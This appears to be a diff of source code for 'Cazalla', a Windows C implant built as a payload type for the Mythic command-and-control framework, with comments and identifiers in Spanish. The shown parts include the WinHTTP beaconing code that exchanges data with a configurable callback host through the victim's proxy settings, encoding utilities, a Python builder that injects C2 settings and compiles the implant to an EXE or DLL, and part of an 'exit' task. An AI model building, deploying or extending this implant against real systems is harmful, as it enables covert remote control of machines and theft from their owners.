WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
|
||||
}
|
||||
|
||||
// Configurar proxy si está habilitado
|
||||
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
|
||||
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
||||
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
|
||||
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
|
||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
|
||||
}
|
||||
}
|
||||
|
||||
// Enviar la petición
|
||||
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
||||
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Recibir respuesta
|
||||
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
||||
_err("Error al recibir respuesta HTTP\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
||||
if (codigoDeEstado != 200) {
|
||||
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Leer respuesta
|
||||
do {
|
||||
dwTamano = 1024;
|
||||
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
||||
_err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
||||
_err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
respSize += dwDescargado;
|
||||
if (!respBuffer) {
|
||||
respBuffer = LocalAlloc(LPTR, respSize);
|
||||
}
|
||||
else {
|
||||
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
}
|
||||
|
||||
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
||||
memset(buffer, 0, 1024);
|
||||
|
||||
} while (dwTamano > 0);
|
||||
|
||||
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
return nuevoAnalizador((PBYTE)respBuffer, respSize);
|
||||
}
|
||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
||||
|
||||
#ifdef HTTP_TRANSPORT
|
||||
return realizarPeticionHTTP(datos, tamano);
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
@@ -1,16 +1,16 @@
|
||||
#pragma once
|
||||
#ifndef TRANSPORTE
|
||||
#define TRANSPORTE
|
||||
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include "cazalla.h"
|
||||
#include "analizador.h"
|
||||
|
||||
#pragma comment(lib, "winhttp.lib")
|
||||
|
||||
#define HTTP_TRANSPORT
|
||||
|
||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
|
||||
|
||||
#pragma once
|
||||
#ifndef TRANSPORTE
|
||||
#define TRANSPORTE
|
||||
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include "cazalla.h"
|
||||
#include "analizador.h"
|
||||
|
||||
#pragma comment(lib, "winhttp.lib")
|
||||
|
||||
#define HTTP_TRANSPORT
|
||||
|
||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
|
||||
|
||||
#endif
|
||||
@@ -1,198 +1,196 @@
|
||||
#include "utils.h"
|
||||
|
||||
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
||||
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
|
||||
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
||||
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
|
||||
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
|
||||
43, 44, 45, 46, 47, 48, 49, 50, 51 };
|
||||
|
||||
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
size_t b64tamanoCodificado(size_t inlen) {
|
||||
|
||||
size_t ret;
|
||||
|
||||
ret = inlen;
|
||||
if (inlen % 3 != 0)
|
||||
ret += 3 - (inlen % 3);
|
||||
ret /= 3;
|
||||
ret *= 4;
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
int aleatorioInt32(int min, int max){
|
||||
|
||||
return (rand() % (max - min + 1)) + min;
|
||||
|
||||
}
|
||||
|
||||
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||
|
||||
char* out;
|
||||
SIZE_T elen;
|
||||
SIZE_T i;
|
||||
SIZE_T j;
|
||||
SIZE_T v;
|
||||
|
||||
if (in == NULL || len == 0) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
elen = b64tamanoCodificado(len);
|
||||
out = (char*)LocalAlloc(LPTR, elen + 1);
|
||||
if (!out) {
|
||||
return NULL;
|
||||
}
|
||||
out[elen] = '\0';
|
||||
|
||||
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
||||
|
||||
v = in[i];
|
||||
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
||||
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
||||
|
||||
out[j] = b64chars[(v >> 18) & 0x3F];
|
||||
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
||||
if (i + 1 < len) {
|
||||
|
||||
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
||||
}
|
||||
else {
|
||||
|
||||
out[j + 2] = '=';
|
||||
}
|
||||
if (i + 2 < len) {
|
||||
|
||||
out[j + 3] = b64chars[v & 0x3F];
|
||||
}
|
||||
else {
|
||||
out[j + 3] = '=';
|
||||
}
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
SIZE_T b64tamanoDecodificado(const char* in) {
|
||||
|
||||
SIZE_T len;
|
||||
SIZE_T ret;
|
||||
SIZE_T i;
|
||||
|
||||
if (in == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
len = strlen(in);
|
||||
ret = len / 4 * 3;
|
||||
|
||||
for (i = len; i-- > 0; ) {
|
||||
if (in[i] == '=') {
|
||||
ret--;
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
int b64IsValidChar(char c) {
|
||||
|
||||
if (c >= '0' && c <= '9') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c >= 'A' && c <= 'Z') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c >= 'a' && c <= 'z') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c == '+' || c == '/' || c == '=') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||
|
||||
SIZE_T len;
|
||||
SIZE_T i;
|
||||
SIZE_T j;
|
||||
int v;
|
||||
|
||||
if (in == NULL || out == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
len = strlen(in);
|
||||
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (i = 0; i < len; i++) {
|
||||
if (!b64IsValidChar(in[i])) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0, j = 0; i < len; i += 4, j += 3) {
|
||||
v = b64invs[in[i] - 43];
|
||||
v = (v << 6) | b64invs[in[i + 1] - 43];
|
||||
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
|
||||
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
|
||||
|
||||
out[j] = (v >> 16) & 0xFF;
|
||||
if (in[i + 2] != '=') {
|
||||
out[j + 1] = (v >> 8) & 0xFF;
|
||||
}
|
||||
if (in[i + 3] != '=') {
|
||||
out[j + 2] = v & 0xFF;
|
||||
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
||||
|
||||
(buffer)[0] = (value >> 24) & 0xFF;
|
||||
(buffer)[1] = (value >> 16) & 0xFF;
|
||||
(buffer)[2] = (value >> 8) & 0xFF;
|
||||
(buffer)[3] = (value) & 0xFF;
|
||||
}
|
||||
|
||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
|
||||
|
||||
buffer[7] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[6] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[5] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[4] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[3] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[2] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[1] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[0] = value & 0xFF;
|
||||
#include "utils.h"
|
||||
|
||||
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
||||
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
|
||||
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
||||
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
|
||||
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
|
||||
43, 44, 45, 46, 47, 48, 49, 50, 51 };
|
||||
|
||||
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
size_t b64tamanoCodificado(size_t inlen) {
|
||||
|
||||
size_t ret;
|
||||
|
||||
ret = inlen;
|
||||
if (inlen % 3 != 0)
|
||||
ret += 3 - (inlen % 3);
|
||||
ret /= 3;
|
||||
ret *= 4;
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
int aleatorioInt32(int min, int max) {
|
||||
|
||||
return (rand() % (max - min + 1)) + min;
|
||||
|
||||
}
|
||||
|
||||
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||
|
||||
char* out;
|
||||
SIZE_T elen;
|
||||
SIZE_T i;
|
||||
SIZE_T j;
|
||||
SIZE_T v;
|
||||
|
||||
if (in == NULL || len == 0) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
elen = b64tamanoCodificado(len);
|
||||
out = (char*)LocalAlloc(LPTR, elen + 1);
|
||||
if (!out) {
|
||||
return NULL;
|
||||
}
|
||||
out[elen] = '\0';
|
||||
|
||||
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
||||
|
||||
v = in[i];
|
||||
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
||||
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
||||
|
||||
out[j] = b64chars[(v >> 18) & 0x3F];
|
||||
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
||||
if (i + 1 < len) {
|
||||
|
||||
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
||||
}
|
||||
else {
|
||||
|
||||
out[j + 2] = '=';
|
||||
}
|
||||
if (i + 2 < len) {
|
||||
|
||||
out[j + 3] = b64chars[v & 0x3F];
|
||||
}
|
||||
else {
|
||||
out[j + 3] = '=';
|
||||
}
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
SIZE_T b64tamanoDecodificado(const char* in) {
|
||||
|
||||
SIZE_T len;
|
||||
SIZE_T ret;
|
||||
SIZE_T i;
|
||||
|
||||
if (in == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
len = strlen(in);
|
||||
ret = len / 4 * 3;
|
||||
|
||||
for (i = len; i-- > 0; ) {
|
||||
if (in[i] == '=') {
|
||||
ret--;
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
int b64IsValidChar(char c) {
|
||||
|
||||
if (c >= '0' && c <= '9') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c >= 'A' && c <= 'Z') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c >= 'a' && c <= 'z') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (c == '+' || c == '/' || c == '=') {
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||
|
||||
SIZE_T len;
|
||||
SIZE_T i;
|
||||
SIZE_T j;
|
||||
int v;
|
||||
|
||||
if (in == NULL || out == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
len = strlen(in);
|
||||
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (i = 0; i < len; i++) {
|
||||
if (!b64IsValidChar(in[i])) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0, j = 0; i < len; i += 4, j += 3) {
|
||||
v = b64invs[in[i] - 43];
|
||||
v = (v << 6) | b64invs[in[i + 1] - 43];
|
||||
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
|
||||
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
|
||||
|
||||
out[j] = (v >> 16) & 0xFF;
|
||||
if (in[i + 2] != '=') {
|
||||
out[j + 1] = (v >> 8) & 0xFF;
|
||||
}
|
||||
if (in[i + 3] != '=') {
|
||||
out[j + 2] = v & 0xFF;
|
||||
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
||||
|
||||
(buffer)[0] = (value >> 24) & 0xFF;
|
||||
(buffer)[1] = (value >> 16) & 0xFF;
|
||||
(buffer)[2] = (value >> 8) & 0xFF;
|
||||
(buffer)[3] = (value) & 0xFF;
|
||||
}
|
||||
|
||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
|
||||
|
||||
buffer[7] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[6] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[5] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[4] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[3] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[2] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[1] = value & 0xFF;
|
||||
value >>= 8;
|
||||
|
||||
buffer[0] = value & 0xFF;
|
||||
}
|
||||
@@ -1,27 +1,27 @@
|
||||
#pragma once
|
||||
#ifndef UTILS
|
||||
#define UTILS
|
||||
#include <windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include "debug.h"
|
||||
|
||||
|
||||
#ifdef __MINGW64__
|
||||
#define BYTESWAP32(x) __builtin_bswap32( x )
|
||||
#define BYTESWAP64(x) __builtin_bswap64( x )
|
||||
#endif
|
||||
#ifdef _MSC_VER
|
||||
#define BYTESWAP32(x) _byteswap_ulong(x)
|
||||
#define BYTESWAP64(x) _byteswap_uint64(x)
|
||||
#endif
|
||||
|
||||
SIZE_T b64tamanoDecodificado(const char* in);
|
||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
|
||||
char* b64Codificado(const unsigned char* in, SIZE_T len);
|
||||
size_t b64tamanoCodificado(size_t inlen);
|
||||
int aleatorioInt32(int min, int max);
|
||||
|
||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
||||
#endif
|
||||
#pragma once
|
||||
#ifndef UTILS
|
||||
#define UTILS
|
||||
#include <windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include "debug.h"
|
||||
|
||||
|
||||
#ifdef __MINGW64__
|
||||
#define BYTESWAP32(x) __builtin_bswap32( x )
|
||||
#define BYTESWAP64(x) __builtin_bswap64( x )
|
||||
#endif
|
||||
#ifdef _MSC_VER
|
||||
#define BYTESWAP32(x) _byteswap_ulong(x)
|
||||
#define BYTESWAP64(x) _byteswap_uint64(x)
|
||||
#endif
|
||||
|
||||
SIZE_T b64tamanoDecodificado(const char* in);
|
||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
|
||||
char* b64Codificado(const unsigned char* in, SIZE_T len);
|
||||
size_t b64tamanoCodificado(size_t inlen);
|
||||
int aleatorioInt32(int min, int max);
|
||||
|
||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
||||
#endif
|
||||
|
||||
@@ -1,131 +1,131 @@
|
||||
import pathlib
|
||||
import tempfile
|
||||
from mythic_container.PayloadBuilder import *
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
from distutils.dir_util import copy_tree
|
||||
import asyncio
|
||||
|
||||
|
||||
class CazallaAgent(PayloadType):
|
||||
name = "Cazalla"
|
||||
file_extension = "exe"
|
||||
author = "OFSTeam"
|
||||
supported_os = [SupportedOS.Windows]
|
||||
wrapper = False
|
||||
wrapped_payloads = []
|
||||
note = """C implant Developed by the Kaseya OFSTeam"""
|
||||
supports_dynamic_loading = False
|
||||
c2_profiles = ["http"]
|
||||
mythic_encrypts = False
|
||||
translation_container = "cazalla_translator"
|
||||
build_parameters = [
|
||||
BuildParameter(
|
||||
name="output",
|
||||
parameter_type=BuildParameterType.ChooseOne,
|
||||
description="Choose output format",
|
||||
choices=["exe", "dll", "debug_exe","debug_dll"],
|
||||
default_value="exe"
|
||||
),
|
||||
]
|
||||
agent_path = pathlib.Path(".") / "cazalla"
|
||||
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
||||
agent_code_path = agent_path / "agent_code"
|
||||
|
||||
build_steps = [
|
||||
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
||||
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
||||
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
|
||||
]
|
||||
|
||||
async def build(self) -> BuildResponse:
|
||||
# this function gets called to create an instance of your payload
|
||||
resp = BuildResponse(status=BuildStatus.Success)
|
||||
Config = {
|
||||
"payload_uuid": self.uuid,
|
||||
"callback_host": "",
|
||||
"USER_AGENT": "",
|
||||
"httpMethod": "POST",
|
||||
"post_uri": "",
|
||||
"headers": [],
|
||||
"callback_port": 80,
|
||||
"ssl":False,
|
||||
"proxyEnabled": False,
|
||||
"proxy_host": "",
|
||||
"proxy_user": "",
|
||||
"proxy_pass": "",
|
||||
}
|
||||
stdout_err = ""
|
||||
for c2 in self.c2info:
|
||||
profile = c2.get_c2profile()
|
||||
for key, val in c2.get_parameters_dict().items():
|
||||
if isinstance(val, dict) and 'enc_key' in val:
|
||||
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
|
||||
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
|
||||
else:
|
||||
Config[key] = val
|
||||
break
|
||||
|
||||
if "https://" in Config["callback_host"]:
|
||||
Config["ssl"] = True
|
||||
|
||||
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
|
||||
if Config["proxy_host"] != "":
|
||||
Config["proxyEnabled"] = True
|
||||
# create the payload
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Gathering Files",
|
||||
StepStdout="Found all files for payload",
|
||||
StepSuccess=True
|
||||
))
|
||||
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||
copy_tree(str(self.agent_code_path), agent_build_path.name)
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Applying configuration",
|
||||
StepStdout="All configuration setting applied",
|
||||
StepSuccess=True
|
||||
))
|
||||
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
|
||||
content = f.read()
|
||||
content = content.replace("%UUID%", Config["payload_uuid"])
|
||||
content = content.replace("%HOSTNAME%", Config["callback_host"])
|
||||
content = content.replace("%ENDPOINT%", Config["post_uri"])
|
||||
if Config["ssl"]:
|
||||
content = content.replace("%SSL%", "TRUE")
|
||||
else:
|
||||
content = content.replace("%SSL%", "FALSE")
|
||||
content = content.replace("%PORT%", str(Config["callback_port"]))
|
||||
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
|
||||
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
||||
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
||||
if Config["proxyEnabled"]:
|
||||
content = content.replace("%PROXYENABLED%", "TRUE")
|
||||
else:
|
||||
content = content.replace("%PROXYENABLED%", "FALSE")
|
||||
f.seek(0)
|
||||
f.write(content)
|
||||
f.truncate()
|
||||
|
||||
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
|
||||
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
|
||||
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE)
|
||||
|
||||
stdout, stderr = await proc.communicate()
|
||||
print(stdout)
|
||||
print(stderr)
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout="Successfuly compiled Ra",
|
||||
StepSuccess=True
|
||||
))
|
||||
build_msg = ""
|
||||
resp.payload = open(filename, "rb").read()
|
||||
|
||||
return resp
|
||||
import pathlib
|
||||
import tempfile
|
||||
from mythic_container.PayloadBuilder import *
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
from distutils.dir_util import copy_tree
|
||||
import asyncio
|
||||
|
||||
|
||||
class CazallaAgent(PayloadType):
|
||||
name = "Cazalla"
|
||||
file_extension = "exe"
|
||||
author = "OFSTeam"
|
||||
supported_os = [SupportedOS.Windows]
|
||||
wrapper = False
|
||||
wrapped_payloads = []
|
||||
note = """C implant Developed by the Kaseya OFSTeam"""
|
||||
supports_dynamic_loading = False
|
||||
c2_profiles = ["http"]
|
||||
mythic_encrypts = False
|
||||
translation_container = "cazalla_translator"
|
||||
build_parameters = [
|
||||
BuildParameter(
|
||||
name="output",
|
||||
parameter_type=BuildParameterType.ChooseOne,
|
||||
description="Choose output format",
|
||||
choices=["exe", "dll", "debug_exe","debug_dll"],
|
||||
default_value="exe"
|
||||
),
|
||||
]
|
||||
agent_path = pathlib.Path(".") / "cazalla"
|
||||
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
||||
agent_code_path = agent_path / "agent_code"
|
||||
|
||||
build_steps = [
|
||||
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
||||
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
||||
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
|
||||
]
|
||||
|
||||
async def build(self) -> BuildResponse:
|
||||
# this function gets called to create an instance of your payload
|
||||
resp = BuildResponse(status=BuildStatus.Success)
|
||||
Config = {
|
||||
"payload_uuid": self.uuid,
|
||||
"callback_host": "",
|
||||
"USER_AGENT": "",
|
||||
"httpMethod": "POST",
|
||||
"post_uri": "",
|
||||
"headers": [],
|
||||
"callback_port": 80,
|
||||
"ssl":False,
|
||||
"proxyEnabled": False,
|
||||
"proxy_host": "",
|
||||
"proxy_user": "",
|
||||
"proxy_pass": "",
|
||||
}
|
||||
stdout_err = ""
|
||||
for c2 in self.c2info:
|
||||
profile = c2.get_c2profile()
|
||||
for key, val in c2.get_parameters_dict().items():
|
||||
if isinstance(val, dict) and 'enc_key' in val:
|
||||
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
|
||||
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
|
||||
else:
|
||||
Config[key] = val
|
||||
break
|
||||
|
||||
if "https://" in Config["callback_host"]:
|
||||
Config["ssl"] = True
|
||||
|
||||
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
|
||||
if Config["proxy_host"] != "":
|
||||
Config["proxyEnabled"] = True
|
||||
# create the payload
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Gathering Files",
|
||||
StepStdout="Found all files for payload",
|
||||
StepSuccess=True
|
||||
))
|
||||
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||
copy_tree(str(self.agent_code_path), agent_build_path.name)
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Applying configuration",
|
||||
StepStdout="All configuration setting applied",
|
||||
StepSuccess=True
|
||||
))
|
||||
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
|
||||
content = f.read()
|
||||
content = content.replace("%UUID%", Config["payload_uuid"])
|
||||
content = content.replace("%HOSTNAME%", Config["callback_host"])
|
||||
content = content.replace("%ENDPOINT%", Config["post_uri"])
|
||||
if Config["ssl"]:
|
||||
content = content.replace("%SSL%", "TRUE")
|
||||
else:
|
||||
content = content.replace("%SSL%", "FALSE")
|
||||
content = content.replace("%PORT%", str(Config["callback_port"]))
|
||||
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
|
||||
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
||||
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
||||
if Config["proxyEnabled"]:
|
||||
content = content.replace("%PROXYENABLED%", "TRUE")
|
||||
else:
|
||||
content = content.replace("%PROXYENABLED%", "FALSE")
|
||||
f.seek(0)
|
||||
f.write(content)
|
||||
f.truncate()
|
||||
|
||||
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
|
||||
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
|
||||
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE)
|
||||
|
||||
stdout, stderr = await proc.communicate()
|
||||
print(stdout)
|
||||
print(stderr)
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout="Successfuly compiled Ra",
|
||||
StepSuccess=True
|
||||
))
|
||||
build_msg = ""
|
||||
resp.payload = open(filename, "rb").read()
|
||||
|
||||
return resp
|
||||
|
||||
@@ -1,38 +1,38 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
import json
|
||||
|
||||
|
||||
class ExitArguments(TaskArguments):
|
||||
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise Exception("Este comando no debe tener parametros")
|
||||
|
||||
|
||||
class ExitCommand(CommandBase):
|
||||
cmd = "exit"
|
||||
needs_admin = False
|
||||
help_cmd = "exit"
|
||||
description = "Task para cerrar el proceso del implante"
|
||||
version = 1
|
||||
supported_ui_features = ["callback_table:exit"]
|
||||
author = "Kaseya OFSTeam"
|
||||
argument_class = ExitArguments
|
||||
attackmapping = []
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
type = taskData.args.get_arg("type")
|
||||
response.DisplayParams = type
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
from mythic_container.MythicCommandBase import *
|
||||
import json
|
||||
|
||||
|
||||
class ExitArguments(TaskArguments):
|
||||
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise Exception("Este comando no debe tener parametros")
|
||||
|
||||
|
||||
class ExitCommand(CommandBase):
|
||||
cmd = "exit"
|
||||
needs_admin = False
|
||||
help_cmd = "exit"
|
||||
description = "Task para cerrar el proceso del implante"
|
||||
version = 1
|
||||
supported_ui_features = ["callback_table:exit"]
|
||||
author = "Kaseya OFSTeam"
|
||||
